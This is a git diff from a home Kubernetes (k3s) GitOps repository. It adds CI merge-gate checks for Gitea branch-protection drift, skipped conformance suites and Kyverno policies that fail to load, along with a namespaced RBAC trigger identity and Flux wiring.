# Both loops are bounded (60 x 1s) and exit 1 on timeout, so a genuinely dead sidecar
# surfaces as a CrashLoopBackOff with a clear message instead of hanging forever.
#
# ENVSUBST SAFETY — the BARE $i / $j below are CORRECT. Do not "tidy" them into the
# braced form or the double-dollar form; both are wrong here, for different reasons.
# clusters/base/apps-wave-1.yaml carries postBuild.substituteFrom cluster-vars, so
# Flux envsubst runs over this ENTIRE manifest — YAML comments very much included.
# Its contract (drone/envsubst; the same one spelled out in clusters/base/apps-vms.yaml,
# and re-verified against this exact file with `flux envsubst`, flux v2.4.0) is:
# - A bare $name is NOT a reference to envsubst: it passes through untouched, and
# that holds even when the name IS set in cluster-vars. So $i and $j reach the
# cluster verbatim and both 60s bounds below are real, enforced bounds.
# - $((i + 1)) is likewise untouched: "(" cannot begin a variable name.
# - A BRACED dollar-name IS a reference and gets replaced — with the empty string
# when the name is unset. One of those here would make a bound read [ "" -ge 60 ],
# which errors, short-circuits the &&, and silently turns the wait UNBOUNDED.
# - A DOUBLE-dollar braced name is envsubst's escape and survives as the braced
# form — still wrong for us, because on any path where envsubst does NOT run
# (a plain `kustomize build` or `kubectl apply -k` of this directory) the shell
# reads that leading double-dollar as its own PID, so a bound would compare a
# string like 1234{i} against 60. The bare form is the only spelling that is
# correct on BOTH paths.
# - A braced name containing punctuation is a HARD ERROR ("unable to parse variable
# name") that fails this whole Kustomization — and this Kustomization gates every
# merge in the repo. So never write one anywhere in this file, INCLUDING in a
# comment. That is why this note names the three forms in words rather than
# showing them: an earlier draft of it spelled them out literally and broke
# `flux envsubst` on the file. (Same trap the indexed-expansion warning in
# clusters/base/apps-vms.yaml describes.)
command:
- /bin/sh
- -c
- |
# Stage 1: the sidecar's TLS client certs must appear in the shared emptyDir.
i=0
until [ -f /certs/client/ca.pem ]; do
i=$((i + 1))
[ "$i" -ge 60 ] && { echo "dind certs never appeared" >&2; exit 1; }
echo "waiting for dind TLS certs ($i)"; sleep 1
done
# Stage 2: dockerd must actually accept a connection on :2376. busybox nc in this
# Alpine-based image (gitea/act_runner:0.2.11) supports -z (scan) and -w (timeout).
j=0
until nc -z -w1 127.0.0.1 2376; do
j=$((j + 1))
[ "$j" -ge 60 ] && { echo "dind daemon never accepted a connection on 2376" >&2; exit 1; }
echo "waiting for dind daemon on :2376 ($j)"; sleep 1
done
exec /sbin/tini -- /opt/act/run.sh
# No `command:` override. The image's own entrypoint (/sbin/tini -- /opt/act/run.sh)
# registers from env on first boot and runs `act_runner daemon`. The two wait-loops
# that used to live here are gone: kubelet now holds this container until the dind
# sidecar's startupProbe passes (see initContainers above).
env:
- name: GITEA_INSTANCE_URL
value: https://gitea.${BASE_DOMAIN}
@@ -198,52 +207,6 @@ spec:
memory: 128Mi
limits:
memory: 512Mi
# ---- Docker-in-Docker: the job executor daemon (privileged) ----
#
# FOLLOW-UP (deliberately NOT bundled into the readiness fix above — own change):
# Convert this container into a NATIVE SIDECAR and delete both shell wait-loops.
# k3s is now v1.36, where sidecar containers are GA, so kubelet can enforce the
# ordering that the loops above hand-roll — which also removes the envsubst hazard
# from this file entirely (no shell, no $i/$j, nothing to escape or mis-escape).
# Shape to build:
# 1. Move this whole container into `initContainers:` as the FIRST entry.
# 2. Add `restartPolicy: Always` to it. That single field is what makes an
# initContainer a sidecar: it starts before the regular containers, keeps
# running alongside them, and is terminated after them.
# 3. Give it a `startupProbe` that succeeds only when dockerd accepts a TLS
# connection — e.g. `exec` a `docker -H tcp://127.0.0.1:2376 --tlsverify
# --tlscacert /certs/client/ca.pem --tlscert /certs/client/cert.pem
# --tlskey /certs/client/key.pem info`. Do NOT use a bare `tcpSocket` probe:
# it would re-open the same "port accepting but TLS/certs not ready" gap that
# Stage 1 above exists to close. `periodSeconds: 1` + `failureThreshold: 60`
# preserves today's 60s cap.
# 4. kubelet then holds the `runner` container until that startupProbe passes, so
# `runner` can drop its `command:` override completely and run the image's
# default entrypoint.
# Why it is a separate change: this Deployment is the ENFORCED MERGE GATE for this
# entire repository. If the conversion is wrong, nothing can merge — so it must land
# alone, where the failure is unambiguous and not entangled with anything else, and
# only after a real workflow run has been observed green on the converted pod.
- name: dind
image: docker:27-dind
securityContext:
privileged: true
env:
# Generate + publish TLS certs into the shared emptyDir; dockerd then listens
# on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
- name: DOCKER_TLS_CERTDIR
value: /certs
volumeMounts:
- name: certs
mountPath: /certs
- name: dind-storage
mountPath: /var/lib/docker
resources:
requests:
cpu: 100m
memory: 256Mi
limits:
memory: 2Gi
volumes:
- name: data
persistentVolumeClaim:
+11 -5
View File
@@ -38,11 +38,17 @@ env:
# UNCLAIMED, so this is wired; it was previously left out on the reasoning below, and only one
# half of that reasoning survived contact with the upstream source.
#
# THE 4-MINUTE TTL IS STILL TRUE, and it is now the OPERATIONAL constraint rather than a reason to
# abstain. A https://plex.tv/claim token expires in ~4 minutes — far shorter than commit -> push ->
# Flux reconcile -> pod-roll if that cycle is left to its own timers. So the committed value is a
# documented PLACEHOLDER and the live token is injected by the operator inside that window, with an
# explicit `flux reconcile` to collapse the wait: runbooks/plex-claim.md is the timed procedure.
# A SHORT TTL IS THE OPERATIONAL CONSTRAINT, not a reason to abstain. A https://plex.tv/claim token
# expires in MINUTES — read the countdown the claim page renders; do not budget against a number
# written in this tree. (This comment previously asserted "~4 minutes" as established fact. It was
# UNCITED, upstream plexinc/pms-docker documents no expiry at all, and that number was load-bearing
# for the whole procedure design — including a since-disproven claim that the delivery pipeline was
# too slow to fit inside it. Measured 2026-09-29: the full loop is ~2m45s and fits.)
#
# The live token is injected by the operator inside that window, with an explicit `flux reconcile`
# to collapse the wait. Scripted end to end as infra/plex/claim-ship.sh; runbooks/plex-claim.md is
# the procedure. SERVER CLAIMED 2026-09-29 — this env is now a permanent no-op (see below), and the
# committed value is the spent token from that claim rather than the original placeholder.
#
# ONE-SHOT, AND SAFE TO SIT HERE EXPIRED. Verified from plexinc/pms-docker's own first-run script
# (branch `master`, root/etc/cont-init.d/40-plex-first-run, confirmed byte-identical to the file in
+3
View File
@@ -32,6 +32,9 @@ render-golden: ## render==golden: canonical render reproduces committed apps/ (n
l1: ## L1 rendering checks (no cluster; live now)
@"$(CI_DIR)l1.sh"
gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
@./gitea-settings.sh
conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
@"$(CI_DIR)conformance.sh"
+14
View File
@@ -1,5 +1,19 @@
# `ci/` — portable merge gate (runnable today, without Gitea)
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
> This document speaks as though no cluster exists and the platform is scaffolding. **A
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
> coverage hole, not a phase.
>
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
> documentation rather than measurement, and `main` was unprotected with zero runners
> registered the whole time. **Query the live API before asserting platform state.**
**Task T-0.2 · R-TEST-02 (reproducible, single-command) · Owner WS-GITOPS (CI).**
The same merge gate the Gitea Actions workflow runs
+40
View File
@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
fi
# ---------------------------------------------------------------------------------------
# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
#
# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
#
# MEASURED 2026-09-29, before this guard existed:
# CLUSTER_AVAILABLE=true ./ci/conformance.sh -> rc=0
# "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
# "[ ok ] L2/L3 conformance passed for touched subset"
# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
# it because nobody had ever set the variable.
#
# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
# makes the stage itself honour that instead of reporting a pass.
JUNIT="${CONF_ART}/report.junit.xml"
if [ -f "$JUNIT" ]; then
total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
err " (scaffold mode -- run.sh could not reach a cluster and exited 0)."
err " This stage will NOT report that as a pass. Either the cluster is unreachable from"
err " this runner, or CLUSTER_AVAILABLE is set when it should not be."
err " NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
err " docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
err " by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
err " runner has no credential for (automountServiceAccountToken: false, by design)."
summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
exit 1
fi
log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
fi
ok "L2/L3 conformance passed for touched subset"
summary "- conformance-l2-l3: **passed**"
+26
View File
@@ -112,6 +112,7 @@ run_stage lint "${CI_DIR}/lint.sh"
run_stage l0 "${CI_DIR}/l0.sh"
run_stage render-golden "${CI_DIR}/render-golden.sh"
run_stage l1 "${CI_DIR}/l1.sh"
run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
run_stage conformance "${CI_DIR}/conformance.sh"
echo >&2
@@ -188,6 +189,31 @@ case "${OUTCOME[spec-immutability]}" in
pass) ok "spec-immutability: green" ;;
esac
# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
# in the change under test. It is deliberately NOT in the strict-skips loop below: making an
# absent secret block every PR is precisely the lock-yourself-out failure this repo keeps
# walking into (a required check with nothing able to satisfy it). So a skip denies a PASS
# (exit 3) and says loudly what is unverified. Set REQUIRE_GITEA_SETTINGS=true once the
# token is wired, and the skip becomes a block as it should.
case "${OUTCOME[gitea-settings]}" in
fail) err "gitea-settings: Gitea DRIFTED from infra/gitea/expected-branch-protection.json -> blocks merge"; BLOCK=1 ;;
skip)
if truthy "${REQUIRE_GITEA_SETTINGS:-false}"; then
err "gitea-settings: skipped and REQUIRE_GITEA_SETTINGS=true -> blocks merge"
summary "- gitea-settings: **SKIPPED** (no token) — blocks merge (REQUIRE_GITEA_SETTINGS=true)"
BLOCK=1
else
warn "gitea-settings: skipped (no GITEA_SETTINGS_TOKEN) — branch protection and runner"
warn " registration are UNVERIFIED. Both were silently wrong for a month. Wire the token"
warn " (infra/gitea/set-ci-token.sh), then set REQUIRE_GITEA_SETTINGS=true."
summary "- gitea-settings: **SKIPPED** (no token — protection/runners unverified; not a pass)"
NOT_ESTABLISHED+=("gitea-settings")
fi ;;
pass) ok "gitea-settings: green" ;;
esac
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
+133
View File
@@ -0,0 +1,133 @@
#!/usr/bin/env bash
# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
# match what git declares.
#
# WHY THIS STAGE EXISTS AT ALL
# ----------------------------
# Every other check in this repo reads the repository, the rendered manifests, or the
# cluster. NONE of them can see Gitea's own database — and that is where branch
# protection and runner registration live. On 2026-09-29 that blind spot was measured:
#
# * `main` had NO branch protection, and
# * ZERO Actions runners were registered,
#
# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
# and human in the loop repeated that claim because the repository said so. PR #1 — the
# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
# merged with zero approvals recorded against `required_approvals: 1`.
#
# Three separate failures, one shape: a setting that READ as enforced while not being, with
# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
#
# WHAT IT ASSERTS
# 1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
# LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
# 2. at least `.runners_online_min` Actions runners report status "online".
#
# (2) is not decoration. A required status check with no runner is the deadlock this repo
# nearly walked into: every PR pends forever, including the one that would fix it.
#
# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
# `protected`, `enable_status_check` and `required_approvals` but NOT
# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
# only account that merges. This stage queries /branch_protections/ deliberately.
#
# EXIT CODES (the gate contract)
# 0 live Gitea matches the declaration
# 1 DIVERGENCE — something drifted, or was never applied. Blocks the merge.
# 3 SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
# that an unwired credential cannot lock the repository.
#
# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
# the drift it exists to catch is still undetected.
#
# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
# detector sat inert for hours while a token existed and no secret did. The env var below still
# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
# the secret that would feed it cannot be created at all.
set -euo pipefail
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
# shellcheck disable=SC1091
source "${CI_DIR}/lib.sh"
log "Stage: Gitea platform settings match the declaration"
DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
# it looked like it had worked. A token was minted, no secret existed, and this stage would
# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
[ -f "$DECL" ] || die "declaration missing: ${DECL}"
require_tool jq
require_tool curl
if [ -z "$TOKEN" ]; then
skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
skip " Branch protection and runner registration are therefore UNVERIFIED. They were"
skip " wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
exit 3
fi
api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
BRANCH="$(jq -r '.branch' "$DECL")"
LIVE="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/branch_protections/${BRANCH}" || true)"
if [ -z "$LIVE" ] || ! jq -e 'type == "object" and has("branch_name")' >/dev/null 2>&1 <<<"$LIVE"; then
skip "could not read the branch-protection rule from ${GITEA_URL} (unreachable, or the token"
skip " lacks permission). Not treating this as a pass."
summary "- gitea-settings: **SKIPPED — Gitea unreadable** (not a pass)"
exit 3
fi
RC=0
# --- 1. every declared protection key must match the live rule, exactly ---------------
while IFS= read -r key; do
want="$(jq -Sc --arg k "$key" '.protection[$k]' "$DECL")"
got="$(jq -Sc --arg k "$key" 'if has($k) then .[$k] else "<<ABSENT>>" end' <<<"$LIVE")"
if [ "$want" = "$got" ]; then
ok " ${key} = ${got}"
else
err " ${key}: DECLARED ${want} but LIVE is ${got}"
RC=1
fi
done < <(jq -r '.protection | keys[]' "$DECL")
# --- 2. a runner must actually be online ----------------------------------------------
MIN="$(jq -r '.runners_online_min // 1' "$DECL")"
RUNNERS="$(api "${GITEA_URL}/api/v1/admin/actions/runners" || true)"
N="$(jq -r '[(.runners//[])[]|select(.status=="online")]|length' <<<"${RUNNERS:-{\}}" 2>/dev/null || echo 0)"
if [ "${N:-0}" -ge "$MIN" ]; then
ok " runners online: ${N} (>= ${MIN})"
else
err " runners online: ${N}, DECLARED minimum ${MIN}."
err " A required status check with no runner leaves every PR pending forever —"
err " including the PR that would fix it. This is the 2026-09-29 outage condition."
RC=1
fi
if [ "$RC" -eq 0 ]; then
ok "Gitea settings match the declaration."
summary "- gitea-settings: **green** (branch protection + runners match \`infra/gitea/expected-branch-protection.json\`)"
else
err "Gitea has DRIFTED from infra/gitea/expected-branch-protection.json."
err " Re-assert it (infra/gitea/require-gate.sh, block-admin-override.sh), or if the live"
err " state is what you now want, change the DECLARATION in the same commit — deliberately."
summary "- gitea-settings: **DRIFT** — live Gitea does not match the declaration; blocks merge"
fi
exit "$RC"
+28 -3
View File
@@ -79,12 +79,37 @@ else
cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
find "$l0_render" -type f -name '*.yaml' -print0 \
| xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
if kyverno test "$l0_render"; then
ok "Kyverno L0 policy tests passed"
summary "- kyverno-l0: **passed**"
# DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
# error, bad match block, malformed JMESPath) does not fail the run: every result row
# becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
#
# MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
# `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
# rows came back `Skip / Invalid Policy`, and the summary read:
# Test Summary: 9 tests passed and 0 tests failed
# `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
# own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
#
# This is not specific to that policy: a typo in restrict-host-namespaces or
# secret-provenance would silently disable it and the gate would stay green. Scan the
# output for the load failure the exit code hides.
l0_kout="$(mktemp)"
if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
if grep -q 'Invalid Policy' "$l0_kout"; then
err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
err " skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
err " must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
rc=1
else
ok "Kyverno L0 policy tests passed"
summary "- kyverno-l0: **passed**"
fi
else
err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
fi
rm -f "$l0_kout"
rm -rf "$l0_render"
fi
+14
View File
@@ -1,5 +1,19 @@
# clusters/
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
> This document speaks as though no cluster exists and the platform is scaffolding. **A
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
> coverage hole, not a phase.
>
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
> documentation rather than measurement, and `main` was unprotected with zero runners
> registered the whole time. **Query the live API before asserting platform state.**
Flux entrypoints and the environment-overlay model (**R-ENV-02**, **R-GITOPS-01/02/03**).
Governing spec: [`docs/05-gitops-and-delivery.md`](../../home-network-k3s/docs/05-gitops-and-delivery.md),
+31
View File
@@ -0,0 +1,31 @@
---
# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
#
# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
# meant to verify is worse than no harness.
#
# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
# waves needs it.
#
# NOTE: this reconciles RBAC that is INERT until
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
# trigger identity can exist while the policy bounding it does not.
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
name: conformance
namespace: flux-system
spec:
interval: 10m
retryInterval: 2m
timeout: 5m
prune: true
wait: false
dependsOn:
- name: platform-config
sourceRef:
kind: GitRepository
name: flux-system
path: ./conformance/incluster
+1
View File
@@ -33,6 +33,7 @@ resources:
- apps-wave-2.yaml # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
# VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
- apps-vms.yaml # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
- conformance.yaml # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
# oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
# service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
# `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
+14
View File
@@ -1,5 +1,19 @@
# conformance/ — the home-k3s conformance harness (WS-TEST)
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
> This document speaks as though no cluster exists and the platform is scaffolding. **A
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
> coverage hole, not a phase.
>
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
> documentation rather than measurement, and `main` was unprotected with zero runners
> registered the whole time. **Query the live API before asserting platform state.**
This subtree is the **definition of "done"** for the whole platform. Nothing is accepted
on a demo, a screenshot, or "it reconciled": every requirement is proven by an
**automated, reproducible, behavior-based test** tagged with the requirement ID(s) it
+14
View File
@@ -1,5 +1,19 @@
# In-cluster conformance Job (L2/L3)
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
> This document speaks as though no cluster exists and the platform is scaffolding. **A
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
> coverage hole, not a phase.
>
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
> documentation rather than measurement, and `main` was unprotected with zero runners
> registered the whole time. **Query the live API before asserting platform state.**
Per **ADR-0011** and **docs/14 "Where each layer runs"**: L0/L1 run in CI without a
cluster, but **L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job**
on the dev/test cluster that **CI triggers and waits for**. CI holds **no** cluster
+14
View File
@@ -0,0 +1,14 @@
# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
#
# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
# reconciling it would create a permanent Job object and fight the trigger for ownership.
#
# The identities here are inert without
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
# half — see the header of rbac.yaml.
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- rbac.yaml
+65
View File
@@ -174,3 +174,68 @@ subjects:
- kind: ServiceAccount
name: conformance-runner
namespace: conformance
---
# =============================================================================
# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
#
# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
# that can `create jobs` in this namespace can create a Job with
# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
# access") while appearing to satisfy it.
#
# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
# THIS ServiceAccount only when they match the committed conformance shape. This Role is
# the necessary half; that policy is the sufficient half. Neither works alone — do not
# grant this Role without that policy reconciled and ENFORCING.
#
# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
# =============================================================================
apiVersion: v1
kind: ServiceAccount
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
rules:
# Create the run, and watch it to completion.
- apiGroups: [batch]
resources: [jobs]
verbs: [create, get, list, watch]
# Read the Job's pod and its log — this is how results come back. Deliberately NOT
# pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
# them from the log, so no execution channel into the runner pod is ever granted.
- apiGroups: [""]
resources: [pods, pods/log]
verbs: [get, list, watch]
# NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
# failed run), no secrets, no configmaps, no exec, no create on pods.
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: conformance-trigger
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
@@ -0,0 +1,42 @@
# =============================================================================
# L0 STATIC — every authored admission policy is actually APPLIED (R-SEC-01, R-SEC-02)
# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
#
# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
#
# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
# would have skipped this check on the very commit that introduced the defect.
# =============================================================================
apiVersion: chainsaw.kyverno.io/v1alpha1
kind: Test
metadata:
name: admission-policies-actually-applied
labels:
conformance.home.k3s/R-SEC-01: "true"
conformance.home.k3s/R-SEC-02: "true"
annotations:
conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
conformance.home.k3s/layer: "L0"
conformance.home.k3s/scope: "whole-repo"
conformance.home.k3s/safety-critical: "false"
conformance.home.k3s/executable: "true"
conformance.home.k3s/intent: >-
Every ClusterPolicy authored under platform/kyverno/ is either referenced by
platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
exemption that is genuinely not applied — so a policy cannot be authored, tested,
green, and absent from the cluster.
spec:
steps:
- name: every-authored-policy-is-applied-or-documented-ci-only
description: >-
Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
try:
- script:
content: bash ./check.sh
@@ -0,0 +1,120 @@
#!/usr/bin/env bash
# =============================================================================
# L0 static check (offline, no cluster) — admission-policies-actually-applied
# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
#
# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
#
# platform/kyverno/ holds THREE lists, and only one of them applies anything:
# 1. platform/kyverno/admission/kustomization.yaml — reference only. Its own sibling says
# "kept as reference; THIS file is the buildable render root".
# 2. platform/kyverno/kustomization.yaml — that render root: namespace +
# HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
# 3. platform-config/kustomization.yaml — THE ONE. Kyverno CRs go here because
# they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
#
# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
# what the conformance CI trigger may create) was added to (1). Everything went green: the file
